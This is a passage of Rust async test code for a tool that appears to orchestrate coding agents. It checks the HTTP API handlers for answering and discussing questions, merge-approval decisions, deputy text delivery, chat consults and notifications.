10371 let mut state = obsolete_approval_state();
10372 state.status = RunStatus::Landing;
10373 state.driver_exited = true;
10374 let mut q = Question::new(
10375 state.id.clone(),
10376 crate::land::APPROVAL_NODE.into(),
10377 "land".into(),
10378 "Obsolete approval".into(),
10379 String::new(),
10380 vec!["merge".into(), "hold".into()],
10381 );
10382 state.land_approval = Some(crate::run::LandApproval {
10383 question: q.id.clone(),
10384 head: "head".into(),
10385 });
10386 state.save_under(fx.home.path()).unwrap();
10387 fx.questions().put(&mut q).unwrap();
10388 let mut task = Task::new(
10389 "Owner".into(),
10390 "Original instruction".into(),
10391 state.repo.clone(),
10392 Source::Human,
10393 );
10394 task.runs.push(state.id.clone());
10395 task.status = TaskStatus::Parked;
10396 fx.queue().put(&mut task).unwrap();
10397 state.merge_decision = Some(crate::merge_decision::Decision {
10400 question: q.id.clone(),
10401 target: crate::merge_decision::Target {
10402 pr: state.pr.as_ref().unwrap().url.clone(),
10403 head: "head".into(),
10404 language: "ja".into(),
10405 },
10406 choice: crate::merge_decision::DISMISS.into(),
10407 closed: false,
10408 replacement_run: None,
10409 replacement_pr: None,
10410 });
10411 state.status = RunStatus::Superseded;
10412 state.save_under(fx.home.path()).unwrap();
10413 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10414 let path = format!("/api/questions/{}/answer", q.id);
10415 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10416 let done = fx.queue().get(&task.id).unwrap();
10417 assert_eq!(done.status, TaskStatus::Done);
10418 assert_eq!(done.runs, task.runs);
10419 assert_eq!(done.instruction, task.instruction);
10420 assert!(done.action_applied(&q.id));
10421 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10422 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
10423 assert!(!fx.questions().get(&q.id).unwrap().status.open());
10424 }
10425
10426 #[tokio::test]
10427 async fn merge_decision_api_persists_exact_target_and_selected_action() {
10428 let fx = Fixture {
10429 home: TempDir::new().unwrap(),
10430 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10431 };
10432 for choice in [
10433 crate::land::HOLD,
10434 crate::land::REPAIR,
10435 crate::land::APPROVE,
10436 crate::merge_decision::WITHDRAW,
10437 "reimplement:beta",
10438 ] {
10439 let mut q = Question::new(
10440 "old-run".into(),
10441 crate::land::APPROVAL_NODE.into(),
10442 "land".into(),
10443 "Decision".into(),
10444 "Review findings".into(),
10445 vec![
10446 "merge".into(),
10447 "hold".into(),
10448 crate::land::REPAIR.into(),
10449 crate::merge_decision::WITHDRAW.into(),
10450 "reimplement:beta".into(),
10451 ],
10452 );
10453 q.merge_target = Some(crate::merge_decision::Target {
10454 pr: "https://github.com/example/repo/pull/42".into(),
10455 head: "exact-reviewed-head".into(),
10456 language: "ja".into(),
10457 });
10458 q.consult = Some(ask::ChatConsult {
10459 talk: "another-conversation".into(),
10460 at: jiff::Timestamp::now(),
10461 });
10462 fx.questions().put(&mut q).unwrap();
10463 let ui = Arc::new(Ui::new(
10464 fx.queue(),
10465 fx.questions(),
10466 fx.talks(),
10467 fx.runs(),
10468 fx.home.path().into(),
10469 std::path::PathBuf::from("."),
10470 ));
10471 let response = question_answer(
10472 State(ui.clone()),
10473 Path(q.id.clone()),
10474 Ok(Json(NewAnswer {
10475 choice: Some(choice.into()),
10476 text: None,
10477 })),
10478 )
10479 .await
10480 .unwrap();
10481 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
10482 let disk = fx.questions().get(&q.id).unwrap();
10483 assert_eq!(disk.merge_target, q.merge_target);
10484 assert_eq!(disk.consult, q.consult);
10485 assert!(
10486 disk.answer_authority.is_none(),
10487 "a direct owner card is its own decision"
10488 );
10489 assert_eq!(disk.resolution().as_deref(), Some(choice));
10490 assert!(
10491 question_answer(
10492 State(ui),
10493 Path(q.id.clone()),
10494 Ok(Json(NewAnswer {
10495 choice: Some("merge".into()),
10496 text: None
10497 }))
10498 )
10499 .await
10500 .is_err(),
10501 "an already settled decision cannot turn into merge approval"
10502 );
10503 }
10504 }
10505
10506 #[tokio::test]
10507 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
10508 let fx = Fixture {
10509 home: TempDir::new().unwrap(),
10510 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10511 };
10512 let mut state = crate::land::tests::repair_state(true, true);
10513 state.status = RunStatus::Landing;
10514 state.parked = true;
10515 state.driver_exited = true;
10516 let mut task = Task::new(
10517 "Existing PR owner".into(),
10518 state.instruction.clone(),
10519 state.repo.clone(),
10520 Source::Human,
10521 );
10522 task.runs.push(state.id.clone());
10523 task.status = TaskStatus::Parked;
10524 fx.queue().put(&mut task).unwrap();
10525 let mut q = Question::new(
10526 state.id.clone(),
10527 crate::land::APPROVAL_NODE.into(),
10528 "land".into(),
10529 "Contested merge".into(),
10530 "Original evidence".into(),
10531 vec!["merge".into(), "hold".into()],
10532 );
10533 state.land_approval = Some(crate::run::LandApproval {
10534 question: q.id.clone(),
10535 head: "reviewed-head".into(),
10536 });
10537 state.save_under(fx.home.path()).unwrap();
10538 fx.questions().put(&mut q).unwrap();
10539 task.hold_manual(Some("Pause this PR".into()));
10541 fx.queue().put(&mut task).unwrap();
10542 let ui = Arc::new(Ui::new(
10545 fx.queue(),
10546 fx.questions(),
10547 fx.talks(),
10548 fx.runs(),
10549 fx.home.path().to_path_buf(),
10550 state.repo.clone(),
10551 ));
10552 let response = question_answer(
10553 State(ui),
10554 Path(q.id.clone()),
10555 Ok(Json(NewAnswer {
10556 choice: Some(crate::land::REPAIR.into()),
10557 text: None,
10558 })),
10559 )
10560 .await
10561 .unwrap();
10562 assert_eq!(response.0.question.id, q.id);
10563 let upgraded = fx.questions().get(&q.id).unwrap();
10564 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
10565 assert!(upgraded.detail.starts_with("Original evidence"));
10566 let claim = fx.queue().claim(&task.id).unwrap();
10567 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10568 assert!(
10569 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
10570 "an existing driver keeps its claim"
10571 );
10572 drop(claim);
10573 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10574 let resumed = fx.queue().get(&task.id).unwrap();
10575 assert_eq!(
10576 resumed
10577 .resume_override
10578 .as_ref()
10579 .unwrap()
10580 .pinned_run
10581 .as_deref(),
10582 Some(state.id.as_str())
10583 );
10584 assert!(resumed.status.runnable());
10585 assert_eq!(resumed.instruction, task.instruction);
10586 assert_eq!(resumed.runs, task.runs);
10587 assert!(resumed.action_applied(&q.id));
10588 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10589 assert_eq!(fx.queue().list().len(), 1);
10590 assert_eq!(
10591 fx.queue().get(&task.id).unwrap().resume_override,
10592 resumed.resume_override
10593 );
10594 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10595 assert!(
10596 disk.merge_repairs.is_empty(),
10597 "only the claimed run driver may execute repair"
10598 );
10599 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
10600 }
10601
10602 #[tokio::test]
10603 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
10604 let fx = Fixture::start().await;
10605 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10606 let path = format!("/api/questions/{id}/answer");
10607
10608 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
10609 assert_eq!(res.status, 200, "{}", res.body);
10610 let body = res.json();
10611 assert_eq!(body["status"], "answered");
10612 assert_eq!(body["answer"]["choice"], "Redis");
10613
10614 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
10618 assert_eq!(again.status, 409, "{}", again.body);
10619 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10620 }
10621
10622 #[tokio::test]
10623 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
10624 let home = tempfile::tempdir().unwrap();
10625 let ui = delta_test_ui(home.path());
10626 let mut q = Question::new(
10627 "task".into(),
10628 crate::land::APPROVAL_NODE.into(),
10629 "land".into(),
10630 "Explain?".into(),
10631 String::new(),
10632 vec!["hold".into()],
10633 );
10634 q.deputy = Some(ask::Deputy::new("context".into()));
10635 ui.questions.put(&mut q).unwrap();
10636 let mut cfg = stub_config();
10637 cfg.daemon.max_deputies = 0;
10638 let mut status = crate::daemon::Status::new();
10639 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
10640 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
10641 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
10642 let error = question_say(
10643 State(ui.clone()),
10644 Path(q.id.clone()),
10645 Ok(Json(NewSay {
10646 body: "Explain the findings".into(),
10647 })),
10648 )
10649 .await
10650 .unwrap_err();
10651 assert_eq!(
10652 error.text_reason,
10653 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
10654 );
10655 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
10656
10657 let mut text = Question::new(
10658 "task".into(),
10659 "ask".into(),
10660 "operator".into(),
10661 "Which name?".into(),
10662 String::new(),
10663 vec![],
10664 );
10665 ui.questions.put(&mut text).unwrap();
10666 let Json(view) = question_answer(
10667 State(ui.clone()),
10668 Path(text.id.clone()),
10669 Ok(Json(NewAnswer {
10670 choice: None,
10671 text: Some("chosen name".into()),
10672 })),
10673 )
10674 .await
10675 .unwrap();
10676 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
10677 assert!(!ui.questions.get(&text.id).unwrap().status.open());
10678 }
10679
10680 #[tokio::test]
10681 async fn question_text_handler_admission_without_transport() {
10682 let home = tempfile::tempdir().unwrap();
10683 let ui = delta_test_ui(home.path());
10684 let mut q = Question::new(
10685 "task".into(),
10686 crate::land::APPROVAL_NODE.into(),
10687 "land".into(),
10688 "May this PR merge?".into(),
10689 String::new(),
10690 vec!["hold".into()],
10691 );
10692 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
10693 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10694 ui.questions.put(&mut q).unwrap();
10695 let say = || {
10696 Ok(Json(NewSay {
10697 body: "Explain the findings".into(),
10698 }))
10699 };
10700 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
10701 .await
10702 .unwrap_err();
10703 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
10704 let response = rejected.into_response();
10705 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
10706 .await
10707 .unwrap();
10708 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
10709 assert_eq!(body["code"], "question_text_unavailable");
10710 assert_eq!(body["reason"], "deputy_exhausted");
10711 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
10712 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
10713 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
10714 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
10715 .await
10716 .unwrap();
10717 assert_eq!(view.text_delivery.state, "live");
10718 assert!(view.question.waiter.is_none());
10719 assert!(view.question.cwd.is_none());
10720 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
10721 ui.questions.drop_lease(&q.id);
10722 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
10723 .await
10724 .unwrap_err();
10725 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
10726 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
10727 let _ = question_answer(
10728 State(ui.clone()),
10729 Path(q.id.clone()),
10730 Ok(Json(NewAnswer {
10731 choice: Some("hold".into()),
10732 text: None,
10733 })),
10734 )
10735 .await
10736 .unwrap();
10737 assert_eq!(
10738 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
10739 Some("hold")
10740 );
10741 }
10742
10743 #[tokio::test]
10744 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
10745 let fx = Fixture::start().await;
10746 let store = fx.questions();
10747 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
10748 store
10749 .update(&id, |q| {
10750 q.node = crate::land::APPROVAL_NODE.to_owned();
10751 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
10752 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10753 Ok(())
10754 })
10755 .unwrap();
10756 let path = format!("/api/questions/{id}/say");
10757 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
10758 assert_eq!(refused.status, 422, "{}", refused.body);
10759 assert!(
10760 refused.json()["error"]
10761 .as_str()
10762 .unwrap()
10763 .contains("deputy_exhausted")
10764 );
10765 assert!(store.get(&id).unwrap().thread.is_empty());
10766
10767 store.beat(&id, ask::WaiterKind::Deputy);
10769 let view = fx.get("/api/questions").await.json();
10770 assert_eq!(view[0]["text_delivery"]["state"], "live");
10771 let accepted = fx
10772 .post(&path, Some(r#"{"body":"explain the findings"}"#))
10773 .await;
10774 assert_eq!(accepted.status, 200, "{}", accepted.body);
10775 let before = std::fs::read(store.path_of(&id)).unwrap();
10776
10777 store.drop_lease(&id);
10780 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
10781 assert_eq!(refused.status, 422, "{}", refused.body);
10782 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
10783 let held = fx
10784 .post(
10785 &format!("/api/questions/{id}/answer"),
10786 Some(r#"{"choice":"hold"}"#),
10787 )
10788 .await;
10789 assert_eq!(held.status, 200, "{}", held.body);
10790 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
10791 }
10792
10793 #[tokio::test]
10794 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
10795 let repo = tempfile::tempdir().unwrap();
10796 let mut cfg = stub_config();
10797 cfg.daemon.max_deputies = 0;
10798 std::fs::write(
10799 repo.path().join("magi.toml"),
10800 toml::to_string(&cfg).unwrap(),
10801 )
10802 .unwrap();
10803 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
10804 let mut status = crate::daemon::Status::new();
10805 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
10806 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
10807 let id = ask(&fx, "Explain?", &["hold"]);
10808 fx.questions()
10809 .update(&id, |q| {
10810 q.node = crate::land::APPROVAL_NODE.into();
10811 q.deputy = Some(ask::Deputy::new("context".into()));
10812 q.deputy.as_mut().unwrap().agent = "stub".into();
10813 Ok(())
10814 })
10815 .unwrap();
10816 cfg.daemon.max_deputies = 1;
10817 std::fs::write(
10818 repo.path().join("magi.toml"),
10819 toml::to_string(&cfg).unwrap(),
10820 )
10821 .unwrap();
10822 let view = fx.get("/api/questions").await.json();
10823 assert_eq!(view[0]["deputies_enabled"], true);
10824 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
10825 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
10826 let res = fx
10827 .post(
10828 &format!("/api/questions/{id}/say"),
10829 Some(r#"{"body":"Please explain"}"#),
10830 )
10831 .await;
10832 assert_eq!(res.status, 422, "{}", res.body);
10833 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
10834 }
10835
10836 #[tokio::test]
10837 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
10838 let fx = Fixture::start().await;
10839 let id = ask(&fx, "No seat", &[]);
10840 let store = fx.questions();
10841 let before = std::fs::read(store.path_of(&id)).unwrap();
10842 let res = fx
10843 .post(
10844 &format!("/api/questions/{id}/say"),
10845 Some(r#"{"body":"hello"}"#),
10846 )
10847 .await;
10848 assert_eq!(res.status, 422, "{}", res.body);
10849 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
10850 let res = fx
10851 .post(
10852 &format!("/api/questions/{id}/answer"),
10853 Some(r#"{"text":"hello"}"#),
10854 )
10855 .await;
10856 assert_eq!(res.status, 200, "{}", res.body);
10857 assert_eq!(
10858 store.get(&id).unwrap().resolution().as_deref(),
10859 Some("hello")
10860 );
10861 }
10862
10863 #[tokio::test]
10864 async fn saying_something_appends_a_turn_without_answering() {
10865 let fx = Fixture::start().await;
10866 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10867 fx.questions().beat(&id, ask::WaiterKind::Asker);
10868 let path = format!("/api/questions/{id}/say");
10869
10870 let res = fx
10871 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
10872 .await;
10873 assert_eq!(res.status, 200, "{}", res.body);
10874 let body = res.json();
10875 assert_eq!(body["status"], "open", "talking back is not a decision");
10876 assert_eq!(body["answer"], Value::Null);
10877 assert_eq!(body["thread"][0]["who"], "operator");
10878 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
10879 assert_eq!(body["waiting_on_agent"], true);
10880 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10882 }
10883
10884 #[tokio::test]
10885 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
10886 let fx = Fixture::start().await;
10887 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10888
10889 let list = fx.get("/api/questions").await.json();
10890 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
10891
10892 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
10893 assert_eq!(res.status, 409, "{}", res.body);
10894 let q = fx.questions().get(&id).unwrap();
10895 assert!(q.status.open());
10896 assert!(q.consult.is_none());
10897 }
10898
10899 #[tokio::test]
10900 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
10901 let fx = Fixture::start().await;
10902 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10903 let cfg = Config {
10904 agents: vec![crate::config::AgentSpec {
10905 id: "mock".to_owned(),
10906 kind: crate::config::AgentKind::Command,
10907 model: None,
10908 command: vec!["true".to_owned()],
10909 extra_args: Vec::new(),
10910 env: Default::default(),
10911 prompt_delivery: None,
10912 }],
10913 ..Config::default()
10914 };
10915 let talk = crate::talk::begin(
10916 &fx.talks(),
10917 &cfg,
10918 fx.home.path().to_path_buf(),
10919 Some("mock"),
10920 )
10921 .unwrap();
10922 let mut task = Task::new(
10923 "t".to_owned(),
10924 "Do it".to_owned(),
10925 PathBuf::from("/repo/magi"),
10926 Source::Agent {
10927 run: talk.id.clone(),
10928 node: crate::queue::CHAT_NODE.to_owned(),
10929 },
10930 );
10931 task.start("20260902-000000-beef".to_owned());
10932 fx.queue().put(&mut task).unwrap();
10933
10934 let list = fx.get("/api/questions").await.json();
10935 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
10936 assert_eq!(
10937 list[0]["choices"],
10938 serde_json::json!(["SQLite", "Redis"]),
10939 "the hand-over is never a choice"
10940 );
10941 fx.questions()
10942 .update(&id, |q| {
10943 q.node = crate::land::APPROVAL_NODE.into();
10944 q.choices = vec!["merge".into(), "hold".into()];
10945 Ok(())
10946 })
10947 .unwrap();
10948 let list = fx.get("/api/questions").await.json();
10949 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
10950 assert_eq!(list[0]["can_consult_chat"], true);
10951 fx.questions()
10952 .update(&id, |q| {
10953 q.node = crate::bump::NOTICE_NODE.into();
10954 Ok(())
10955 })
10956 .unwrap();
10957 let list = fx.get("/api/questions").await.json();
10958 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
10959 assert_eq!(list[0]["can_consult_chat"], false);
10960 }
10961
10962 #[tokio::test]
10963 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
10964 let fx = Fixture::start().await;
10965 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10966 fx.questions()
10967 .update(&id, |q| {
10968 q.node = crate::land::APPROVAL_NODE.into();
10969 q.choices = vec!["merge".into(), "hold".into()];
10970 Ok(())
10971 })
10972 .unwrap();
10973 let cfg = Config {
10974 agents: vec![crate::config::AgentSpec {
10975 id: "mock".to_owned(),
10976 kind: crate::config::AgentKind::Command,
10977 model: None,
10978 command: vec!["true".to_owned()],
10979 extra_args: Vec::new(),
10980 env: Default::default(),
10981 prompt_delivery: None,
10982 }],
10983 ..Config::default()
10984 };
10985 let repo = fx.home.path().join("chat-repo");
10987 std::fs::create_dir_all(&repo).unwrap();
10988 let toml = repo.join("magi.toml");
10989 std::fs::write(&toml, "this is = = not toml").unwrap();
10990 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
10991 let mut task = Task::new(
10992 "t".to_owned(),
10993 "Do it".to_owned(),
10994 PathBuf::from("/repo/magi"),
10995 Source::Agent {
10996 run: talk.id.clone(),
10997 node: crate::queue::CHAT_NODE.to_owned(),
10998 },
10999 );
11000 task.start("20260902-000000-beef".to_owned());
11001 fx.queue().put(&mut task).unwrap();
11002
11003 let path = format!("/api/questions/{id}/consult");
11004 let res = fx.post(&path, None).await;
11005 assert!(res.status >= 400, "{}", res.body);
11006 assert!(fx.questions().get(&id).unwrap().consult.is_none());
11007 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
11008
11009 std::fs::write(&toml, "").unwrap();
11010 let res = fx.post(&path, None).await;
11011 assert_eq!(res.status, 202, "{}", res.body);
11012 assert!(fx.questions().get(&id).unwrap().consult.is_some());
11013 let q = fx.questions().get(&id).unwrap();
11014 assert!(q.status.open());
11015 assert!(q.answer.is_none());
11016 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11017 assert_eq!(res.json()["can_consult_chat"], true);
11018 let list = fx.get("/api/questions").await.json();
11019 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11020 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
11021
11022 let res = fx
11023 .post(
11024 &format!("/api/questions/{id}/answer"),
11025 Some(r#"{"choice":"hold"}"#),
11026 )
11027 .await;
11028 assert_eq!(res.status, 200, "{}", res.body);
11029 assert_eq!(res.json()["answer"]["choice"], "hold");
11030 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11031 assert_eq!(res.json()["can_consult_chat"], false);
11032 assert_eq!(fx.post(&path, None).await.status, 409);
11033
11034 let mut talk = fx.talks().get(&talk.id).unwrap();
11035 crate::talk::close(&mut talk, &fx.talks()).unwrap();
11036 let list = fx.get("/api/questions").await.json();
11037 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11038 assert_eq!(list[0]["origin_chat_closed"], true);
11039 assert_eq!(list[0]["can_consult_chat"], false);
11040
11041 fx.talks().remove(&talk.id).unwrap();
11042 let list = fx.get("/api/questions").await.json();
11043 assert_eq!(list[0]["origin_chat"], Value::Null);
11044 assert_eq!(list[0]["origin_chat_closed"], false);
11045 assert_eq!(list[0]["can_consult_chat"], false);
11046 }
11047
11048 #[tokio::test]
11049 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
11050 let fx = Fixture::start().await;
11051 let store = fx.questions();
11052 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11053 store.beat(&id, ask::WaiterKind::Asker);
11054 assert_eq!(
11055 fx.get("/api/health").await.json()["questions_needs_owner"],
11056 1
11057 );
11058
11059 let res = fx
11065 .post(
11066 &format!("/api/questions/{id}/say"),
11067 Some(r#"{"body":"why not Postgres?"}"#),
11068 )
11069 .await;
11070 assert_eq!(res.status, 200, "{}", res.body);
11071 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11072 assert_eq!(
11073 fx.get("/api/health").await.json()["questions_needs_owner"],
11074 0,
11075 "waiting on the agent is not waiting on the owner"
11076 );
11077
11078 let mut q = store.get(&id).expect("get");
11082 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
11083 .expect("reply");
11084 store.put(&mut q).expect("put");
11085 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11086 assert_eq!(
11087 fx.get("/api/health").await.json()["questions_needs_owner"],
11088 1,
11089 "the agent's reply is what should light the banner back up"
11090 );
11091 }
11092
11093 #[tokio::test]
11094 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
11095 let fx = Fixture::start().await;
11096 let store = fx.questions();
11097
11098 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11099 let res = fx
11100 .post(
11101 &format!("/api/questions/{empty_id}/say"),
11102 Some(r#"{"body":" "}"#),
11103 )
11104 .await;
11105 assert_eq!(res.status, 400, "{}", res.body);
11106
11107 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11108 let mut answered = store.get(&answered_id).expect("get");
11109 answered
11110 .answer(Answer::Choice("SQLite".to_owned()))
11111 .expect("answer");
11112 store.put(&mut answered).expect("put");
11113 let res = fx
11114 .post(
11115 &format!("/api/questions/{answered_id}/say"),
11116 Some(r#"{"body":"still there?"}"#),
11117 )
11118 .await;
11119 assert_eq!(res.status, 409, "{}", res.body);
11120
11121 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11122 let mut abandoned = store.get(&abandoned_id).expect("get");
11123 abandoned.abandon("timed out");
11124 store.put(&mut abandoned).expect("put");
11125 let res = fx
11126 .post(
11127 &format!("/api/questions/{abandoned_id}/say"),
11128 Some(r#"{"body":"still there?"}"#),
11129 )
11130 .await;
11131 assert_eq!(res.status, 409, "{}", res.body);
11132 }
11133
11134 #[tokio::test]
11135 async fn an_answer_the_question_does_not_offer_is_refused() {
11136 let fx = Fixture::start().await;
11137 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11138 let path = format!("/api/questions/{id}/answer");
11139
11140 for body in [
11141 r#"{"choice":"Postgres"}"#,
11142 r#"{"text":"whatever you think"}"#,
11143 r#"{"choice":"Redis","text":"both"}"#,
11144 r#"{}"#,
11145 ] {
11146 let res = fx.post(&path, Some(body)).await;
11147 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
11148 assert!(res.json()["error"].is_string(), "{}", res.body);
11149 }
11150 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11152 }
11153
11154 #[tokio::test]
11155 async fn a_free_text_question_takes_text_and_not_a_choice() {
11156 let fx = Fixture::start().await;
11157 let id = ask(&fx, "What should the flag be called?", &[]);
11158 fx.questions().beat(&id, ask::WaiterKind::Asker);
11159 let path = format!("/api/questions/{id}/answer");
11160
11161 assert_eq!(
11162 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
11163 400
11164 );
11165 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
11166 assert_eq!(res.status, 200, "{}", res.body);
11167 assert_eq!(res.json()["answer"]["text"], "--json");
11168 }
11169
11170 #[tokio::test]
11171 async fn an_unknown_question_is_a_json_404() {
11172 let fx = Fixture::start().await;
11173 let res = fx
11174 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
11175 .await;
11176 assert_eq!(res.status, 404, "{}", res.body);
11177 assert!(res.json()["error"].is_string());
11178 }
11179
11180 #[tokio::test]
11181 async fn notifications_list_read_dismiss_and_health_agree() {
11182 let fx = Fixture::start().await;
11183 let store = Notices::at(fx.home.path().join("notifications"));
11184 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
11185 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
11186
11187 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
11188 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
11189
11190 store
11191 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
11192 .unwrap();
11193 let health = fx.get("/api/health").await.json();
11194 assert_eq!(health["notifications_unread"], 2);
11195 assert_ne!(
11196 health["notifications_rev"], rev0,
11197 "the badge must move live"
11198 );
11199
11200 let listed = fx.get("/api/notifications").await.json();
11201 assert_eq!(listed["unread"], 2);
11202 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
11203 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
11204
11205 let read = fx
11206 .post(&format!("/api/notifications/{}/read", a.id), None)
11207 .await;
11208 assert_eq!(read.status, 200, "{}", read.body);
11209 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
11210
11211 let gone = fx
11212 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
11213 .await;
11214 assert_eq!(gone.status, 200, "{}", gone.body);
11215 let listed = fx.get("/api/notifications").await.json();
11216 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
11217 assert_eq!(listed["unread"], 0);
11218
11219 store.raise(Notice::info("x", "again")).unwrap();
11220 let all = fx.post("/api/notifications/read-all", None).await;
11221 assert_eq!(all.status, 200, "{}", all.body);
11222 assert_eq!(all.json()["marked"], 1);
11223 assert_eq!(
11224 fx.get("/api/health").await.json()["notifications_unread"],
11225 0
11226 );
11227
11228 let missing = fx.post("/api/notifications/nope/read", None).await;
11229 assert_eq!(missing.status, 404, "{}", missing.body);
11230 assert!(missing.json()["error"].is_string());
11231 }
11232
11233 #[tokio::test]
11240 async fn a_task_cannot_be_filed_over_the_phone_directly() {
11241 let f = Fixture::start().await;
11242
11243 let res = f
11244 .post(
11245 "/api/queue",
11246 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
11247 )
11248 .await;
11249
11250 assert_eq!(
11251 res.status, 405,
11252 "POST /api/queue must not be a route: {}",
11253 res.body
11254 );
11255 assert!(
11256 f.queue().list().is_empty(),
11257 "a task filed by a route that does not exist must not reach the disk"
11258 );
11259 assert_eq!(f.get("/api/queue").await.status, 200);
11262 }
11263
11264 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
11266 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
11267 .expect("checkout dir");
11268 }
11269
